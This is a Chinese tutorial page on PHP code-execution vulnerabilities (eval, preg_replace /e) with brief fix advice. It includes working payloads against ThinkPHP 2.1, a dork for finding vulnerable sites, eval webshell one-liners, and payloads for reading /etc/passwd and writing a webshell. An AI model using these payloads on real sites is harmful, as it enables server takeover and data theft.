失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > Web安全之代码执行漏洞

Web安全之代码执行漏洞

时间:2019-11-05 06:42:28

相关推荐

Web安全之代码执行漏洞

内容

1、代码执行漏洞的概述

2、代码执行漏洞的危害

3、代码执行漏洞的利用

4、代码执行漏洞的防御

背景介绍

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

例子

PHP CMS中 settings的内容:

array('upload_maxsize' => '2048','upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf','watermark_enable' => '1','watermark_minwidth' => '300','watermark_minheight' => '300','watermark_img' => '/statics/images/water/mark.png','watermark_pct' => '85','watermark_quality' => '80','watermark_pos' => '9' ,)

PHP CMS中 很常用的string2array函数:

function string2array($data){if($data == ''){return array();}eval("\$array = $data;")return $array;}

PHP CMS中 很常用的string2array函数:

<?php$data = "array('a'=>'aaaa','b'=>'222222','c'=>'',111=>phpinfo(),222=>'22')";eval("\$arr = $data;");?>

其实settings是一个字符串形式的“PHP数组”,这里必须使用eval函数才能将“字符串”变成一个真正的数组。

漏洞危害

执行任意代码向网站写WebShell控制整个网站甚至服务器

相关函数

eval()assert()preg_replace() + /e 模式create_function()array_map()call_user_func()/call_user_func_array()array_filter()usort(),uasort()file_put_contents()fputs()$_GET[‘a’]($_GET[‘b’]);//a=assert&b=phpinfo()

think2.1

//

$string = 'google 123, 456';$pattern = '/(\w+) (\d+), (\d+)/i';$replacement = 'runoob ${2},\\3';echo preg_replace($pattern, $replacement, $string); 输出: runoob 123,456

intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”

${@print(eval($_POST[1]))}

{${@eval($_POST[1])}}

/index.php/module/action/param1/${@print(eval($_POST[1]))}

eval()函数漏洞利用_1

<?php $data = $_GET['data'];eval("\$ret = $data;");echo $ret;?>

/?data=phpinfo()/?data=1;phpinfo()/?data=${phpinfo()}

eval()函数漏洞利用_2

<?php//关闭魔术方法$data=$_GET[‘data’];eval(“\$ret = strtolower(‘$data’);”);echo $ret;?>

/?data=1’);phpinfo();//

eval()函数漏洞利用_3

<?php$data=$_GET[‘data’];eval(“\$ret = strtolower(\”$data\”);”);echo $ret;?>

/?data=${phpinfo()} (php版本5.5及以上)/?data=“);phpinfo();//

preg_replace+/e利用

<?php$data=$_GET[‘data’];echo $data;preg_replace(‘/<data>(.*)<\/data>/e’,‘$ret=“\\1”;’, $data);echo $ret;?>

php版本在5.5以上

/?data=${phpinfo()}http://localhost/baji/vul/eval/e1.php?data=<data>${assert($_POST[1])}</data>

漏洞利用

{${@eval($_POST[1])}} 一句话

{${exit(print(getcwd()))}} 获取当前工作路径

{${exit(var_dump(file_get_contents($_POST[f])))}}

读文件 f=/etc/passwd

{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}

写webshell f=1.php&d=1111111

漏洞修复方案

对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

相关参考链接

/hack/43074.html

/archives/3139

/topic-id1105.html

如果觉得《Web安全之代码执行漏洞》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。